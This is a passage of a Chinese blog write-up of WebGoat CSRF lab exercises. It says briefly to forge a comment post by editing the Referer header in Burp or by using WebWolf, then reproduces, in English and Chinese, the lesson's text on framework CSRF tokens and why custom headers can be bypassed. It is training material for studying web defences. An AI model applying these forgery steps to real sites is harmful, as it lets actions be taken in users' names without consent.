和上一题一样,用burp抓包修改referer,或者burp of scrf 或者webwolf都可以

刷新后就能看到发表的帖子了

我看别别的地方写的write up

这页有两个输入框,在攻击之前先尝试一下,可以发现第一个输入框是用来输入评论的,第二个输入框不要填写任何东西,否则提交不了。

我两个都写了好像也没有问题🤔,不过确实题目说了csrf棘手的是需要找到csrf的攻击的位置

5.

Automatic support from frameworks

Most frameworks now have default support for preventing CSRF. For example with Angular an interceptor reads a token from a cookie by default XSRF-TOKEN and sets it as an HTTP header, X-XSRF-TOKEN. Since only code that runs on your domain could read the cookie, the backend can be certain that the HTTP request came from your client application and not an attacker.

In order for this to work the backend server sets the token in a cookie. As the value of the cookie should be read by Angular (JavaScript) this cookie should not be marked with the http-only flag. On every request towards the server Angular will put the token in the X-XSRF-TOKEN as a HTTP header. The server can validate whether those two tokens match and this will ensure the server the request is running on the same domain.

Important: DEFINE A SEPARATE COOKIE, DO NOT REUSE THE SESSION COOKIE

Remember the session cookie should always be defined with http-only flag.
Custom headers not safe

Another defense can be to add a custom request header to each call. This will work if all the interactions with the server are performed with JavaScript. On the server side you only need to check the presence of this header if this header is not present deny the request. Some frameworks offer this implementation by default however researcer Alex Infuhr found out that this can be bypassed as well. You can read about: Adobe Reader PDF - Client Side Request Injection

来自框架的自动支持

大多数框架现在都默认支持防止CSRF。例如,在Angular中,拦截器会从cookie中读取一个默认的XSRF-TOKEN令牌,并将其设置为HTTP标头X-XSRF-TOKEN。由于只有在您的域上运行的代码才能读取cookie,因此后端可以确定HTTP请求来自您的客户端应用程序,而不是攻击者。

为了使其工作,后端服务器在cookie中设置令牌。因为cookie的值应该被Angular (JavaScript)读取,所以这个cookie不应该被标记为http-only标志。对于向服务器发出的每个请求,Angular都会把这个令牌放在X-XSRF-TOKEN中,作为HTTP头文件。服务器可以验证这两个令牌是否匹配,这将确保请求的服务器在同一域中运行。

重要:定义一个单独的COOKIE,不要重复使用会话COOKIE

记住,会话cookie应该始终使用http-only标志来定义。
自定义头不安全

另一种防御方法是为每个调用添加自定义请求头。如果与服务器的所有交互都是用JavaScript执行的,那么这将有效。在服务器端,您只需要检查这个报头是否存在,如果这个报头不存在,则拒绝请求。一些框架默认提供这种实现,但是研究员Alex Infuhr发现这也可以被绕过。您可以阅读有关:Adobe Reader PDF - Client Side Request Injection

2.Server-Side Request Forgery

12.Client side

13.Challenges